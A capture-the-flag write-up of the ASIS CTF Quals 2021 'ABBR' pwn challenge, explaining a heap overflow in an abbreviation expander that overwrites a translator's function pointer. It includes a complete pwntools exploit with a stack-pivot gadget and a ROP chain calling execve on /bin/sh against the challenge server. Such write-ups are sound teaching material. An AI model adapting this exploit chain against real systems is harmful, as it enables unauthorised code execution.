ASIS CTF Quals 2021 - ABBR [Pwn]
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# ASIS CTF Quals 2021 - ABBR [Pwn]

NOTE: In this CTF we participated with ripp3rs.

## Introduction

1 Abbreviations in English are complicated... Why? 

In this challenge we are given a 64-bit statically linked executable, compiled with all the usual memory protections except PIE. The program is a translator that replaces abbreviations with the full text following the established rules.

For example, these are some of the rules:

1 2 3 4 5 6 7 8 rop -> return oriented programming jop -> jump oriented programming cop -> call oriented programming aar -> arbitrary address read aaw -> arbitrary address write www -> write what where oob -> out of bounds ret2 -> return to 

Therefore, the string rop is god would become return oriented programming is god.

## Source code analysis

In addition to the executable, the source code of the program is provided, therefore, its analysis is easier. The vulnerable function is english_expand because it allows the string to be expanded out of bounds.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void english_expand(char *text) { int i, alen, blen; Rule *r; char *p, *q; char *end = &text[strlen(text)-1]; // pointer to the last character /* Replace all abbreviations */ for (p = text; *p; ++p) { for (i = 0; i < sizeof(rules) / sizeof(Rule); i++) { r = &rules[i]; alen = strlen(r->a); blen = strlen(r->b); if (strncasecmp(p, r->a, alen) == 0) { // i.e "i'm pwn noob." --> "i'm pwn XXnoob." for (q = end; q > p; --q) /* OVERFLOW! */ *(q+blen-alen) = *q; // Update end end += blen-alen; *(end+1) = '\0'; // i.e "i'm pwn XXnoob." --> "i'm pwn newbie." memcpy(p, r->b, blen); } } } } 

Using the abbreviations we can exploit the above function, get the text to overflow the limits of the text chunk and then start overwriting heap memory. The text chunk and the translator’s chunk are allocated during the creation of the translator. The following function is the one that performs the memory allocation in the heap:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Translator *translator_new(int size) { Translator *t; /* Allocate region for text */ char *text = (char*)calloc(sizeof(char), size); if (text == NULL) return NULL; /* Initialize translator */ t = (Translator*)malloc(sizeof(Translator)); t->text = text; t->size = size; t->translate = english_expand; return t; } 

First the memory chunk of the text is allocated and then the memory used by the translator structure. The translate field points to the english_expand function, so we can exploit the overflow of text to overwrite this function with an arbitrary address. When the translate function is called, the function we have just modified will be executed.

We can use the following exploit to change the original execution flow to 0x42424242424242 and obtain a segfault:

1 2 3 4 5 6 7 8 9 10 from pwn import * io = gdb.debug("./abbr") io.recvuntil("text: ") text = b"rop " io.sendline( text + (0x1000-len(text)-8)*b"A" + b"\x42\x42\x42\x42\x42\x42\x42" io.interactive() 

When the rop abbreviation is replaced by the full text, the text will overflow the assigned chunk and will overwrite the translator’s translate function.

## Exploitation

Now we have control of the execution flow but we can only use one gadget, since we can only overflow one function pointer. With a single gadget it is not possible to get code execution in this program. Therefore, we have to find a gadget that allows us to perform a stack pivot and, in this way, point rsp to our buffer and be able to ROP with the data we control.

Ideally, we would be able to use a gadget of the type:

1 2 mov rsp, rax ret 

However, the best we could find was the following (address 0x403446):

1 2 mov esp, eax jmp 0x40333a 

rax points to our input, and it is moved to rsp. Fortunately, the jmp 0x40333a instruction returns without generating any segfault. However, jumping to that address has some side-effects, as it pops from the stack three times; this will prove useful later.

Now, the problem is simplified to the usual rop challenge. We prepare the execve syscall with the necessary registers and we gain command execution when the syscall is called.

In order to jump to the syscall instruction, we use a gadget that has the instruction call r12. Fortunately, when we jumped to 0x40333a, a user-controlled value was popped from the stack into r12.

This is the complete exploit code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * io = remote("168.119.108.148",10010) io.recvuntil("text: ") text = b"rop " """ # stack pivoting 0x0000000000403446 : mov esp, eax ; jmp 0x40333a # prepare execve syscall 0x000000000045a8f7 : pop rax ; ret # rax -> execve 0x0000000000404cfe : pop rsi ; ret # rsi -> 0x0 0x00000000004017df : pop rdx ; ret # rdx -> 0x0 0x00000000004012e3 : syscall # r12 -> syscall # rdi -> /bin/sh 0x0000000000401d61 : pop rbp ; ret 0x000000000049b96f : add rdi, rbp ; call r12 # call syscall """ stack_pivoting = p64(0x403446) syscall = p64(0x4012e3) pop_rax = p64(0x45a8f7) pop_rsi = p64(0x404cfe) pop_rbp = p64(0x401d61) pop_rdx = p64(0x4017df) call_syscall = p64(0x49b96f) io.sendline( text + (0x1000-len(text)-8)*b"A" + stack_pivoting + b"/bin/sh\x00" + b"C"*7 + syscall + pop_rax + p64(59) + pop_rsi + p64(0) + pop_rbp + p64(1) + pop_rdx + p64(0) + call_syscall ) io.interactive() # ASIS{d1d_u_kn0w_ASIS_1s_n0t_4n_4bbr3v14t10n}